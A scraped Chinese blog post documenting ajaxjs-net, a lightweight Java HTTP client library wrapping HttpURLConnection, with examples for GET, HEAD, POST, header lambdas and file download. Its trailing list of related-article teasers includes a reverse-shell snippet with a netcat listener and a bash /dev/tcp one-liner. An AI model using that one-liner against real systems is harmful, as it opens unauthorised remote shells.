轻量级 HTTP 请求组件

Apache HttpClient 是著名的 HTTP 客户端请求工具——现在我们模拟它打造一套简单小巧的请求工具库, 封装 Java 类库里面的 HttpURLConnection 对象来完成日常的 HTTP 请求,诸如 GET、HEAD、POST 等等,并尝试应用 Java 8 函数式风格来制定 API。

<dependency><groupid>com.ajaxjs</groupid><artifactid>ajaxjs-net</artifactid><version>1.0.2</version>
</dependency>

组件源码在:https://gitee.com/sp42_admin/ajaxjs/tree/master/aj-backend/aj-framework/aj-net。

发送 HTTP GET 请求

发送 HTTP GET 请求如下代码所示。

// 请求百度网站,返回网站的 HTML 内容
String html = Get.get("https://www.baidu.com").toString();

框架约定,所有 HTTP 请求返回特定的结果:ResponseEntity,包含了关于请求相关的设置和响应内容。典型地toString()返回响应内容的文本格式。ResponseEntity 是一个 Java Bean,字段如下。

public class ResponseEntity {/*** 返回响应文本结果*/@Overridepublic String toString() {return ResponseHandler.stream2Str(this).getResponseText();}/*** 连接对象*/private HttpURLConnection connection;/*** 请求地址*/private String url;/*** 请求方法*/private String httpMethod;/*** 请求参数*/private Map params;/*** 是否成功(http 200 即表示成功,4xx/500x 表示不成功)*/private boolean isOk;/*** 程序异常,发生时间比 HTTP 请求靠前,例如非法网址,或者 dns 不存在的 UnknownHostException*/private Exception ex;/*** HTTP 状态码*/private Integer httpCode;/*** 响应消息字符串*/private String responseText;/*** 结果的流*/private InputStream in;
}

有时候我们需要获取响应的 HTTP 状态码,那么读取这个ResponseEntity.getHttpCode()就可以了。有的时候甚至不要读取内容,例如获取重定向地址,例如 HTTP HEAD 请求(下面会讲)。

配置 HTTP 请求

一般情况下,需要在请求发起之前进行诸多的配置,除了 HTTP 方法、URL、参数这些之外,请求框架还应该提供对 HTTP Header 的配置。在 Java 中实际是围绕 HttpURLConnection 对象进行配置。怎么才可以灵活地配置呢?此处我们引入函数接口Consumer<HttpURLConnection>,即可添加头字段。重载的get()方法如下。

/**
* GET 请求,返回文本内容
*
* @param url 请求目标地址
* @param fn  自定义 HTTP 头的时候可设置,可选的
* @return 响应的内容
*/
public static ResponseEntity get(String url, Consumer fn);// 例子
ResponseEntity result = Get.get("http://abc.com", conn -> {conn.setRequestProperty("Content-Type", "application/json");conn.setRequestProperty("Authorization", "Bearer " + admin.getAccessToken());
});
框架提供常用的配置的 lambda,如指定 From POST 等等,参见 SetConnection 类。/*** 为初始化 HTTP Connection 所准备的函数。该类不能创建实例* * @author Frank Cheung**/
public abstract class SetConnection {/*** 设置 POST 方式*/public final static Consumer SET_FORM_POST = conn -> conn.setRequestProperty("Content-type", "application/x-www-form-urlencoded;charset=utf-8");/*** 设置响应 JSON*/public final static Consumer SET_JSON = conn -> conn.setRequestProperty("Content-type", "application/json");/*** 设置启动 GZip 请求*/public final static Consumer SET_GIZPREQUEST = conn -> conn.addRequestProperty("Accept-Encoding", "gzip, deflate");……
}

为了额外传参数来实施控制,还有其他静态方法返回Consumer<HttpURLConnection>。实际这些是Consumer<HttpURLConnection>的“高阶函数”。例如:

/*** 设置超时 (单位:秒)*/public final static Consumer setTimeout(int timeout) {return conn -> conn.setConnectTimeout(timeout * 1000);}/*** 请求来源*/public final static Consumer setReferer(String url) {return conn -> conn.addRequestProperty("Referer", url); // httpUrl.getHost()?}/*** 设置 cookies*/public final static Consumer setCookies(Map""> map) {return conn -> conn.addRequestProperty("Cookie", MapTool.join(map, ";"));}

只要都是Consumer<HttpURLConnection>类型则可以链式调用,如SET_FORM_POST.andThen(SET_JSON)

GZip

多数 HTTP 资源允许 GZip 压缩,那样传输效率更高。这时请求头须带上 GZip 打开的标识才可以,也就是说请求头加入了上面的Accept-Encoding字段,一般情况下服务器才会对内容进行 GZip 压缩,否则就不压缩,原文输出。 但有些网站是不管有没有这种请求都一概返回 GZip 的。如果有 GZip,服务器会在响应头中加入Content-Encoding的字段告诉我们的。

处理响应结果

HTTP 是文本协议,于是一般情况下toString()即可返回响应的文本内容。 针对常见 Restful API 返回 JSON,框架提供api()的方法返回 JSON。apiXml()则返回 XML 内容。无论结果 JSON 还是 XML 都使用Map<String, Object>作为容器。

/*** GET API,返回 JSON** @param url 请求目标地址* @param fn  自定义 HTTP 头的时候可设置,可选的* @return 响应的 JSON,Map 格式*/
public static Map<String, Object> api(String url, Consumer fn)public static Map<String, Object> api(String url)public static Map<String, String> apiXML(String url, Consumer fn)public static Map<String, String> apiXML(String url)

如果 API 返回 JSON 数组则返回List<Map<String, String>>,请使用:

public static List<Map<String, Object>> apiList(String url, Consumer fn);
public static List<Map<String, Object>> apiList(String url)

文件下载

HTTP 响应内容在底层处理中被视为输入流 InputStream。文本操作只是转换流的形式之一 我们还可以把流转换为文件,即“远程文件下载到本地磁盘”的功能。ResponseHandler 是这么一个处理 InputStream 的类。

/
* 下载二进制文件
* @param url 请求目标地址
* @param saveDir 保存的目录
* @param newFileName 是否有新的文件名,如无请传 null
* @return 下载文件的完整磁盘路径
*/
public static String download(String url, String saveDir, String newFileName);// 用法
String url = "https://bbsimage.res.meizu.com/forum/2019/01/23/153122zrz85kuvubbiibbs.jpg";
assertNotNull(Get.download(url, "c:/temp", null));

发送 HTTP HEAD 请求

HEAD 方法也是 HTTP 标准方法之一。像获取资源体积大小、获取 302 重定向调转地址、资源是否 404 那样的请求,着实无须 GET 方法,使用 HEAD 即可。各种 HEAD 请求的用法已封装,参见下面的测试用例。

// 获取资源文件体积大小
long size = Head.getFileSize("http://c.csdnimg.cn/jifen/images/xunzhang/xunzhang/bokezhuanjiamiddle.png");
assertEquals(size, 4102L);// 获取 302 重定向跳转地址
System.out.println(Head.get302redirect("https://baidu.com"));// 请求检测是否 404
assertTrue(!Head.is404("http://c.csdnimg.cn/jifen/images/xunzhang/xunzhang/bokezhuanjiamiddle.png"));

发送 HTTP POST/PUT 请求

关于 POST 的配置和用法大体和 GET 相似,比较不同的是一般要指定 POST 出去的数据,即 POST 参数,可以为StringMap<String, Object>byte[]类型。

// POST Map 参数
String result = Post.post("http://localhost:8080/post.jsp", new HashMap<>() {private static final long serialVersionUID = 1L;{put("foo", "bar");}
});// POST 字符串参数
result = Post.post("http://localhost:8080/post", "a=1&b=2&c=3");// api
Post.api(...);
Post.apiXML(...);

PUT 方法为Post.put()/Post.putApi()

发送 DELETE 请求

比较简单,暂且不提。

原理分析

有关原理的分析,请移步至博客文章:https://blog.csdn.net/zhangxin09/article/details/86668854、https://blog.csdn.net/zhangxin09/article/details/51836563。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/613864.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据采集卡:4位32路256K同步模拟量输入卡,支持外触发、外时钟,支持多卡同步

产品应用 USB-XM2432是一款基于USB2.0总线的数据采集卡&#xff0c;可直接和计算机的USB口相连&#xff0c;构成实验室、产品质量检测中心等各种领域的数据采集、波形分析和处理系统。也可构成工业生产过程监控系统。它的主要应用场合为&#xff1a; 电子产品质量检测 医学检…

渗透线应用-取料呼叫FC(SCL源代码)

渗透线应用相关文章可以参考下面文章链接: https://rxxw-control.blog.csdn.net/article/details/135526725https://rxxw-control.blog.csdn.net/article/details/135526725渗透线小车控制 https://rxxw-control.blog.csdn.net/article/details/133611151

【算法】基础算法001之双指针

&#x1f440;樊梓慕&#xff1a;个人主页 &#x1f3a5;个人专栏&#xff1a;《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C》《Linux》《算法》 &#x1f31d;每一个不曾起舞的日子&#xff0c;都是对生命的辜负 目录 前言 1.数组分块&#xf…

【JaveWeb教程】(20) MySQL数据库开发之 基本查询、条件查询、聚合函数、分组查询、排序查询、分页查询 详细代码示例讲解

目录 1. 数据库操作-DQL1.1 介绍1.2 语法1.3 基本查询1.4 条件查询1.5 聚合函数1.6 分组查询1.7 排序查询1.8 分页查询1.9 案例1.9.1 案例一1.9.2 案例二 在上次学习的内容中&#xff0c;我们讲解了&#xff1a; 使用DDL语句来操作数据库以及表结构&#xff08;数据库设计&…

C++学习笔记(三十二):c++ 堆内存与栈内存比较

本节对堆和栈内存进行描述。 应用程序启动后&#xff0c;操作系统将整个程序加载到内存&#xff0c;分配相应的物理ram&#xff0c;确保程序可以正常运行。堆和栈是ram中存在的两个区域。栈通常是一个预定义大小的内存区域&#xff0c;一般是2M字节左右。堆也是预定了默认值的…

12、JVM高频面试题

1、JVM的主要组成部分有哪些 JVM主要分为下面几部分 类加载器&#xff1a;负责将字节码文件加载到内存中 运行时数据区&#xff1a;用于保存java程序运行过程中需要用到的数据和相关信息 执行引擎&#xff1a;字节码文件并不能直接交给底层操作系统去执行&#xff0c;因此需要…

NumPy 数据操作实用指南:从基础到高效(下)

文章接上篇&#xff1a; In [53]: from PIL import Image In [60]: dog Image.open(./dog.jpg) dog . . . In [61]: dog_datanp.array(dog) # 图片数据是ndarray # 彩色照片三维&#xff1a;高度&#xff0c;宽度&#xff0c;像素&#xff08;表示不同颜色&#xff09;&…

C语言操作符与表达式详解

目录 操作符的分类&#xff1a; &#xff08;1&#xff09;算数操作符 &#xff08;2&#xff09;移位操作符 &#xff08;3&#xff09;位操作符 &#xff08;4&#xff09;赋值操作符 &#xff08;5&#xff09;单目操作符 &#xff08;6&#xff09;关系操作符 &…

CSS 选择器全攻略:从入门到精通(下)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

保存校验,根据表体String和UFDouble的两个字段,判断哪些记录重复

方法一 &#xff1a;保存校验&#xff0c;根据业务类型和税率判断哪些记录重复&#xff08;不推荐&#xff09; import org.apache.commons.collections.CollectionUtils;private void ywlxAndSlCheck(List<JsdtbBVO> bvolist) throws BusinessException {bvolist tran…

【Java万花筒】日志与性能监控:Java日志领域的掌中宝剑

“日志与性能监控&#xff1a;Java开发者的得力助手 前言 在现代软件开发中&#xff0c;日志记录和性能监控是确保应用程序健康运行的不可或缺的组成部分。为了满足开发者对灵活性和性能的需求&#xff0c;Java 社区涌现出多个强大的库&#xff0c;本文将深入探讨其中几个关键…

pytorch11:模型加载与保存、finetune迁移训练

目录 一、模型加载与保存1.1 序列化与反序列化概念1.2 pytorch中的序列化与反序列化1.3 模型保存的两种方法1.4 模型加载两种方法 二、断点训练2.1 断点保存代码2.2 断点恢复代码 三、finetune3.1 迁移学习3.2 模型的迁移学习3.2 模型微调步骤3.2.1 模型微调步骤3.2.2 模型微调…

Asp .Net Core 系列: 集成 CORS跨域配置

文章目录 什么是CORS?Asp .Net Core 种如何配置CORS?CorsPolicyBuilder类详解注册以及使用策略三种方式EnableCors 和 DisableCors 特性关于带证书与不带证书代码的实现跨源&#xff08;cross-origin&#xff09;不带请求证书(Credentials)跨源&#xff08;cross-origin&…

c++析构函数

析构函数的简述 1. 析构函数和构造函数类似&#xff0c;是c规定当对象的生命周期结束时&#xff0c;默认你会调用析构函数。 2. 同理&#xff0c;当我们不写析构函数的时候&#xff0c;编译器会自动生成一个空实现的析构函数。 3. 析构函数只能编译器自己调用&#xff0c;我们…

CSS 选择器全攻略:从入门到精通(上)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

在Maven中设置JVM系统参数及Java应用调试实例

在Maven中设置JVM系统参数及Java应用调试实例 在进行Java应用程序开发时&#xff0c;我们通常需要配置Maven构建过程中Java虚拟机&#xff08;JVM&#xff09;的额外系统参数&#xff0c;以便进行性能优化、日志配置或远程调试等操作。本文将详细介绍如何在Maven中设置JVM系统…

JavaScript从入门到精通系列第三十一篇:详解JavaScript中的字符串和正则表达式相关的方法

文章目录 知识回顾 1&#xff1a;概念回顾 2&#xff1a;正则表达式字面量 一&#xff1a;字符串中正则表达式方法 1&#xff1a;split 2&#xff1a;search 3&#xff1a;match 4&#xff1a;replace 知识回顾 1&#xff1a;概念回顾 正则表达式用于定义一些字符串的…

MySql command line client命令解析

一、启动与退出 1、进入MySQL&#xff1a;启动MySQL Command Line Client&#xff08;MySQL的DOS界面&#xff09;&#xff0c;直接输入安装时的密码即可。此时的提示符是&#xff1a;mysql> 2、退出MySQL&#xff1a;quit 或 exit 二、库操作 1、创建数据库 命令&#xff1…

代码随想录算法训练营第二天|977 有序数组的平方、209长度最小的子数组、59 螺旋矩阵||

977 有序数组的平方 题目链接&#xff1a;有序数组的平方 思路 暴力解法 很容易想到的就是按照题目的说明&#xff0c;先给非递减数组中的每个元素做平方&#xff0c;然后使用一个排序函数对齐进行排序即可。 class Solution { public:vector<int> sortedSquares(ve…

反弹shell方法汇总

假设本机地址10.10.10.11&#xff0c;监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令&#xff1a; bash -i >& /dev/tcp/192.168.245.129/1234 0>&1 /bin/bash -i > /dev/tcp/154.21…